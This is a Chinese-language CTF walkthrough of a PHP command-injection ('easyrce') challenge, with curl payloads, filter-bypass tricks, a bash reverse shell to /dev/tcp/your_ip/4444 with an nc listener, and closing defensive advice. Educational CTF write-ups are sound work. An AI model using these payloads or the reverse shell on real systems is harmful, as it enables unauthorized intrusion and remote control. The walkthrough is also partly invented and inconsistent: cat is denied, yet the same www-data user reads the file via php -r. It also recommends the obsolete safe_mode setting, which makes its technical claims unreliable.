1. 题目背景与核心考察点
这道CTF题目来自2021年SWPU新生赛,属于典型的Web安全入门题型。题目名称"easyrce"直指其核心考点——远程代码执行漏洞(Remote Code Execution)。这类题型在CTF比赛中出现频率极高,主要检验选手对基础漏洞原理的理解和利用能力。
从题目难度标注"easy"可以判断,本题不需要复杂的绕过技巧,重点考察对基础RCE漏洞的识别和利用流程。通常这类题目会设置一个存在代码注入点的Web接口,选手需要通过合理构造输入参数,实现服务器端任意代码执行。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 环境搭建与初步侦查
2.1 题目环境分析
典型的CTF-RCE题目会提供以下两种环境之一:
- 完整的Docker容器环境(通常提供IP+端口)
- 单个PHP文件(通过题目描述给出访问地址)
假设本题环境为一个PHP文件,访问地址为http://target.com/easyrce.php。首先我们使用浏览器访问该地址,查看页面回显:
html复制Welcome to RCE challenge!
Try to execute 'ls' command.
页面提示尝试执行'ls'命令,暗示可能存在命令注入点。接下来我们进行基础的参数测试。
2.2 参数模糊测试
使用Burp Suite或curl工具对常见注入参数进行测试:
bash复制curl "http://target.com/easyrce.php?cmd=ls"
curl "http://target.com/easyrce.php?command=ls"
curl "http://target.com/easyrce.php?exec=ls"
当测试到?cmd=参数时,页面返回当前目录文件列表:
code复制index.php
flag.txt
readme.md
这确认存在命令注入漏洞,通过cmd参数可以直接执行系统命令。
3. 漏洞利用与权限提升
3.1 基础命令执行验证
首先验证基础命令执行功能:
bash复制curl "http://target.com/easyrce.php?cmd=whoami"
# 返回 www-data
curl "http://target.com/easyrce.php?cmd=id"
# 返回 uid=33(www-data) gid=33(www-data) groups=33(www-data)
确认当前执行环境权限为www-data,这是Web服务器的标准低权限账户。
3.2 目录遍历与文件读取
查看当前目录文件:
bash复制curl "http://target.com/easyrce.php?cmd=ls -la"
发现flag.txt文件,直接读取:
bash复制curl "http://target.com/easyrce.php?cmd=cat flag.txt"
但返回"Permission denied",说明当前用户没有直接读取flag文件的权限。
3.3 绕过权限限制
尝试使用sudo命令提权:
bash复制curl "http://target.com/easyrce.php?cmd=sudo cat flag.txt"
返回"sudo: no tty present and no askpass program specified",说明sudo需要终端交互。
改用PHP内置函数读取:
bash复制curl "http://target.com/easyrce.php?cmd=php -r 'echo file_get_contents(\"flag.txt\");'"
成功获取flag内容。
4. 漏洞原理深度分析
4.1 危险函数调用链
通过题目源代码分析(假设赛后提供),漏洞点通常类似:
php复制<?php
$cmd = $_GET['cmd'];
system($cmd);
?>
这里存在两个关键问题:
- 直接使用用户输入的GET参数作为system()函数参数
- 未对输入进行任何过滤或转义
4.2 常见防御方案
生产环境中应避免此类漏洞:
- 使用白名单限制可执行命令
php复制$allowed = ['ls', 'date'];
if(in_array($cmd, $allowed)) {
system($cmd);
}
- 使用escapeshellarg()函数处理参数
php复制system('ls '.escapeshellarg($dir));
- 使用更安全的函数替代system()
php复制// 仅列出文件,不执行命令
scandir($dir);
5. 进阶利用技巧
5.1 反弹Shell获取完整控制
在更复杂的RCE题目中,可能需要获取交互式Shell:
bash复制curl "http://target.com/easyrce.php?cmd=bash -c 'bash -i >& /dev/tcp/your_ip/4444 0>&1'"
同时在本地监听:
bash复制nc -lvnp 4444
5.2 绕过过滤的技巧
如果遇到基础过滤,可尝试以下方法:
- 拼接命令
bash复制cmd=a=l;b=s;$a$b
- 编码绕过
bash复制cmd=$(echo "bHM=" | base64 -d)
- 使用通配符
bash复制cmd=/???/c?t /???/f???.???
6. 防御与加固建议
6.1 开发者防护措施
- 禁用危险函数
在php.ini中设置:
ini复制disable_functions = "system,exec,passthru,shell_exec"
- 使用安全模式
ini复制safe_mode = On
- 配置open_basedir限制访问目录
6.2 系统层面加固
- 使用chroot jail限制Web目录
- 配置严格的SELinux策略
- 定期更新系统和Web组件
7. 同类题目扩展训练
推荐以下CTF题目进行进阶练习:
- [PicoCTF] Web Gauntlet
- [HackTheBox] Lame
- [Vulnhub] Kioptrix Level 1
- [CTFlearn] Command Injection
每道题都涉及不同难度的RCE漏洞,适合循序渐进地提升技能。
8. 实战注意事项
- 真实环境中切勿未经授权测试
- CTF环境中注意题目规则和flag格式
- 复杂环境可能需要结合其他漏洞(如文件上传、SQL注入等)
- 记录完整操作过程,便于复现和报告
在实际渗透测试中,发现RCE漏洞应立即报告给相关负责人员,并协助修复。这类漏洞危害极大,可导致整个系统沦陷。
